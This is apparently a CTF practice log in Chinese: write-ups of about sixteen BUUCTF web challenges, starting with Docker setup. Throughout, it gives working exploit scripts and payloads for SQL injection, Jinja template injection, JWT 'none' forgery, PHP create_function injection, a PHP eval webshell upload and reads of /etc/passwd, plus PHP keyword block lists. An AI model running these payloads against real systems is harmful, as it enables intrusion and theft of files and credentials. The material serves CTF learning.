[BUU刷题记录]day01-起步
BUU-WEB
这是一个菜鸡的蜕变
先小记录一下题目环境部署必备的docker安装
sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo docker run hello-world
docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-composesudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
0x01 [Zer0pts2020]Can you guess it?
知识点
全局变量:$_SERVER['PHP_SELF']
获取当前的path。
basename: 自动去除文件名中不属于常规字符部分
解题
这里他会获取index.php/config.php
$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试
0x02 [CISCN2019 华北赛区 Day1 Web5]CyberPunk
知识点
简易的代码审计+sql注入的二次注入
解题
先是伪协议读取文件源码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8z0oFAkx-1639377924683)(https://i.loli.net/2021/07/04/wc3eS4bJa56XKGO.png)]
然后用下面的exp
import requests,string,random
tmp_str= string.printableconfirm_url = "http://cc79c7c7-3a1d-4bf7-acae-d84be955a0b9.node4.buuoj.cn/confirm.php"
change_url = "http://cc79c7c7-3a1d-4bf7-acae-d84be955a0b9.node4.buuoj.cn/change.php"payload = "'/**/and/**/(updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),31,64),0x7e),1));#"confirm_data = {"user_name":'4',"address":payload,"phone":"1"
}change_data = {"user_name":'4',"address":"1","phone":"1"
}print(requests.post(confirm_url,data=confirm_data).text)
print(requests.post(change_url,data=change_data).text)
0x03 [CSCCTF 2019 Qual]FlaskLight
知识点
无过滤SSTI
解题
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat flasklight/coomme_geeeett_youur_flek').read()}}{%endif%}{%endfor%}
0x04 [RCTF2015]EasySQL
这道题的注入点是一个很骚的东西,直接上fuzz
然后我就开始了随便乱尝试的过程,在注册和登录均没有发现问题
然后还是在这个地方, 我采取了另外一种方式,更改密码的位置,我以为这里是一个任意密码更改的问题,但是我错,这里是一个报错注入,这样我就明白了。
一般着这种可以成功登录的题目,题目之后一般就是一个二次注入,不然她不会在外层加一个套壳的。
那么现在就可以开始利用了。
exp: 就过了空格
import requests,random
url = "http://48e9d750-45da-4bf0-9a2d-b31d31dc5f17.node4.buuoj.cn/"
register_url = url + "register.php"
login_url = url + "login.php"
passwdUrl = url + "changepwd.php"def register(s,payload):data = {"username":payload,"password":"123","email":"123"}s.post(register_url,data=data)
def login(s,payload):data = {"username":payload,"password":"123"}print(s.post(login_url,data=data).text)
def changePasswd(s):data = {'oldpass' : '','newpass' : '',}print(s.post(passwdUrl,data=data).text)
if __name__ == '__main__':#payload = str(random.randint(1,9999))+'dem0"'+ "||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#"payload = str(random.randint(1,9999))+'dem0"'+ "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#"s = requests.session()register(s,payload)login(s,payload)changePasswd(s)
0x05 [网鼎杯 2018]Comment
知识点
git源码泄露 弱密码 二次注入
解题
前面的都是常规操作不做讲解了。主要讲一下二次注入
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];//直接从数据库中取出来的$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
这里我在源码处标识出来了,这里需要注意的一个地方就是在做的时候#
是单行注释 /**/
这个才是块注释
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kye9amqy-1639377924685)(https://i.loli.net/2021/07/14/j3cYuXeI6ngbRaH.png)]
select(load_file("/tmp/.DS_Store"))
flag_8946e1ff1ee3e40f.php
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
下面就是对一些敏感文件的读取了
.bash_history
0x06 [HITCON 2017]SSRFme
知识点
perl GET命令的命令执行漏洞 => open命令导致 前提是文件本身需要存在
payload: GET file:bash -c /readflag|需要文件 bash -c /readflag| 这个文件名存在
pathinfo() 函数以数组的形式返回文件路径的信息。
解题
?url=file:ls /|&filename=ls /|
这样我们会看到在根目录有readflag,那么这个题肯定就是去执行这个命令。那么现在我们存在一个问题,如果直接/readflag
创建的文件在根目录下我们不能读取,那么最好的办法就是 bash -c
?url=file:bash -c /readflag|&filename=bash -c /readflag|
管道符是用来拼接在perl中的源码的。
0x07 [HFCTF2020]EasyLogin
知识点
nodejs koa框架常用目录,文件
jwt攻击
参考连接:https://www.freebuf.com/articles/web/181261.html
1. 爆破密钥2. 将加密方式改为'none'=> 一些服务器会支持 后续贴上伪造脚本3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)
以上三种是在ctf中常用的攻击手段,其他具体的手段还是得看上面的文章中
伪造
import jwttoken = jwt.encode({ "secretid": [], "username": "admin", "password": "123456", "iat": 1595991011},algorithm="none",key="")print(token)
解题
发现了一个奇怪的目录
读取他的api controller/api.js
拿到源码之后
'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); },
这里注意漏洞点在于
这里就可以
当secret
为空的时候,就会执行none
的解密方法。后面不讲了。
const secret = global.secrets[sid];
通过这一句就可以将他制空。
0x08 [NCTF2019]SQLi
贴个脚本
import requestsfrom urllib import parseimport stringurl = "http://01c27793-e7de-403c-8922-cf3a7970c82a.node4.buuoj.cn:81/"strings= string.ascii_lowercase + string.digits + '_'#密码由小写字母 数字 下划线组成(实验证明password = 'you_will_never_know7788990'for x in range(60): for j in strings: payload = { "username":"\\", "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format(password+j,parse.unquote("%00")) } print(password+j) res = requests.post(url=url,data=payload) if 'welcome' in res.text: password += j break if j=='_' and 'welcome' not in res.text: break
拿到密码完事大吉。=可以用regexp代替,‘可以用\绕过,可以用"代替,…%00在mysql同样可以用,yyds。
0x09 [HarekazeCTF2019]encode_and_encode
<?phpshow_source(__FILE__);function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { echo $regexp; return false; } return true;}$body = file_get_contents('php://input');$json = json_decode($body, true);if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; }} else { $content = '<p>invalid request</p>';}// no data exfiltration!!!$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);echo json_encode(['content' => $content]);
考察到了一个姿势点,编码绕过关键字限制。json支持unicode自动转码,因为json不支持中文
0xA [WUSTCTF2020]CV Maker
后台头像文件上传 ,GIF89A绕过
0xB [RootersCTF2019]I_❤️_Flask
学会了使用arjun,爆破参数和目录。
python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5
-d 是延迟5秒,防d。
0xC [CISCN2019 华东南赛区]Double Secret
参数secret,传入参数之后会有返回值,传入一个中文报错,源码泄露。
知道是rc4解密再SSTI,所以我们反其道而行之就可以了。
import base64from urllib.parse import quotedef rc4_main(key = "init_key", message = "init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return cryptdef rc4_init_sbox(key): s_box = list(range(256)) # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print("混乱后的 s 盒:%s"% s_box) return s_boxdef rc4_excrypt(plain, box): # print("调用加密程序成功。") res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) print("%s" %quote(cipher)) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")
0x0D [GYCTF2020]EasyThinking
THINKphp6的任意文件操作漏洞复现,加上yi剑绕过disable。
0x0E [NPUCTF2020]ezinclude
hash扩展攻击 但是设置好像有问题直接输出了,所以直接考虑输入cookie的hash,然后利用文件包含,php7的特性。
php://filter/string.strip_tags/resource=/etc/passwdphp7 老版本通杀:php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
import requestsfrom io import BytesIOurl = "http://959b349a-2c6c-4b04-9799-5e5e1a74035a.node4.buuoj.cn:81/" + "/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"payload = "<?php eval($_POST[a]);?>"files={ "file": ('foo.png', BytesIO(payload.encode()), 'image/png')}print(requests.post(url,files=files,allow_redirects=False))
0x0F [BJDCTF2020]EzPHP
<?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>";} else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>This
这个题本身来说,考点是很多,我们一层一层来打开分析。
POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// HTTP/1.1Host: 153b8623-e453-4191-bc43-77facb42b781.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 17debu=1&file=1
第一层 $SERVER 不会对接受到的数据进行urldecode,所以我们就可以嘿嘿
第二层
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');
正则表达式的绕过 就两种方式 回溯和%0a
和我们预测的一样
第三层
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这一层其实我是不会的
可以看出 这里获取了 请求的数据,然后沃恩借鉴另外一道题。
我们知道 $_REQUEST
同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值 //其实我不知道
这个是在php.ini中写到的。
; This directive determines which super global arrays are registered when PHP; starts up. G,P,C,E & S are abbreviations for the following respective super; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty; paid for the registration of these arrays and because ENV is not as commonly; used as the others, ENV is not recommended on productions servers. You; can still get access to the environment variables through getenv() should you; need to.; Default Value: "EGPCS"; Development Value: "GPCS"; Production Value: "GPCS";; http://php.net/variables-ordervariables_order = "GPCS"
第四层 data伪协议不用多说,我就不贴,记得上传同名
第五层 sha1 不用说了。直接上王炸
create_function()的代码注入,先来一个例子来说一下,这个函数一个是参数列表,一个code。
function myfunc($a,$b){ return $a + $b;}
这样的话,我们如果传入
return $a + $b;} eval($_GET[A]);//
function myfunc($a,$b){ return $a+$b;} eval($_GET[A]);//}
然后 我们回到这道题
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>This
可以看到许多的命令都没有了,所以我们必须得想个办法,来获取源码 ,或者利用已经flag.php,我们来看看有没有什么变量可以直接食用。
第一种 获得其中的变量get_defined_vars()
然后我们就会要想办法拿到正flag,我们现在需要考虑的就是,如何包含进来真flag,如何绕过flag关键字,如何无参数执行。
require(base64_decode(MWZsYWcucGhw));
这个简直完美,他即可以不用括号用引号,也可以这样。包含即可,其中绕过还可以用php 无字母数字webshell绕过方式
第二种 就是 require 为协议读源码
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//
异或也是可以的
require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);//
efine(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);
绕过$
不能引用变量的最好方式就是使用define 定义常量。
require(get_defined_vars()[_GET][rce]);
preg_match 不会匹配数组,所以数组不用考虑。
0x10 [HFCTF2020]JustEscape
[BUU刷题记录]day01-起步相关推荐
- BUU刷题记录——Misc(一)
文章目录 前言: 1.九连环 2.面具下的flag 3.刷新过的图片 4.snake 5.[BJDCTF 2nd]圣火昭昭 前言: 最近学习之余在BUU上刷了几道misc题,有一些没接触过的知识,挺有 ...
- BUU刷题记录——5
October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...
- BUU刷题记录(四)
以下几题的ciscn是我先抽出来做的,因为不久就是ciscn,所以看看之前的题目,先不按顺序 十七.ciscn_2019_n_3 照例checksec一下 开启了nx和canary,relro只开启部 ...
- BUU刷题记录——6
[De1CTF 2019]Giftbox De1CTF Web WriteUp – 赵 login命令处盲注获取登录密码 登陆后其他可用命令 targeting code position => ...
- 2021-5-5 buu刷题记录
生活所迫,从头捡回来 第一题: CTF-BUUCTF-[HCTF 2018]WarmUp php代码审计题 四个if判断 只有最后一个走得通,就是把第二个?进行2次url加密 然后得到%253f 然后 ...
- buu刷题记录 [PWNHUB 公开赛 2018]傻 fufu 的工作日
[PWNHUB 公开赛 2018]傻 fufu 的工作日 [PWNHUB 公开赛 2018]傻 fufu 的工作日(上传差异绕过) | (guokeya.github.io) /index.php.b ...
- LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)
LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...
- LeetCode刷题记录14——257. Binary Tree Paths(easy)
LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...
- LeetCode刷题记录13——705. Design HashSet(easy)
LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...
最新文章
- 编译内核指定模块,筛选当前模块依赖的组件
- 2021全国高校计算机能力挑战赛(初赛)Java试题二
- 【创新应用】未来10年,这些黑科技必将颠覆我们的生活
- 如何用ABP框架快速完成项目(面向项目交付编程面向客户编程篇) - 广州.net微软技术俱乐部12月份活动报名帖...
- [ExtJS5学习笔记]第三十五条 sencha extjs 5 组件查询方法
- Django系列:(1)PyCharm下创建并运行我们的第一个Django工程
- 容器编排技术 -- kubeadm 实现细节
- 案例学习BlazeDS+Spring之二Spring BlazeDS Integration 101
- c语言判断字符串合法标识符,HDU 2024 C语言合法标识符(以及一些关于输入和ctype.h的内容)...
- Java常见面试题:Oracle JDK 和 OpenJDK 的区别?
- FBI为车主支招:如何预防汽车黑客
- OpenCV-图像处理(05、图像混合)
- unity摄影机depth模式_[蛮牛教程] Unity3D 浅析-Camera(摄像机)
- 一点点读懂regulator(二)
- win10连接无线网一直在连接到服务器,Win10无线总是掉线怎么回事 Win10无线网络总是掉线的快速解决办法(超管用)...
- SyntaxError: invalid syntax都可能是是什么错!!!(持续更新)
- 硅谷课堂第十一课-公众号消息和微信授权
- 硬件测试点案例(四个)
- [论文品读]·d-vector解读(Deep Neural Networks for Small Footprint Text-Dependent Speaker Verification)
- 关闭mina服务_mina 关闭服务器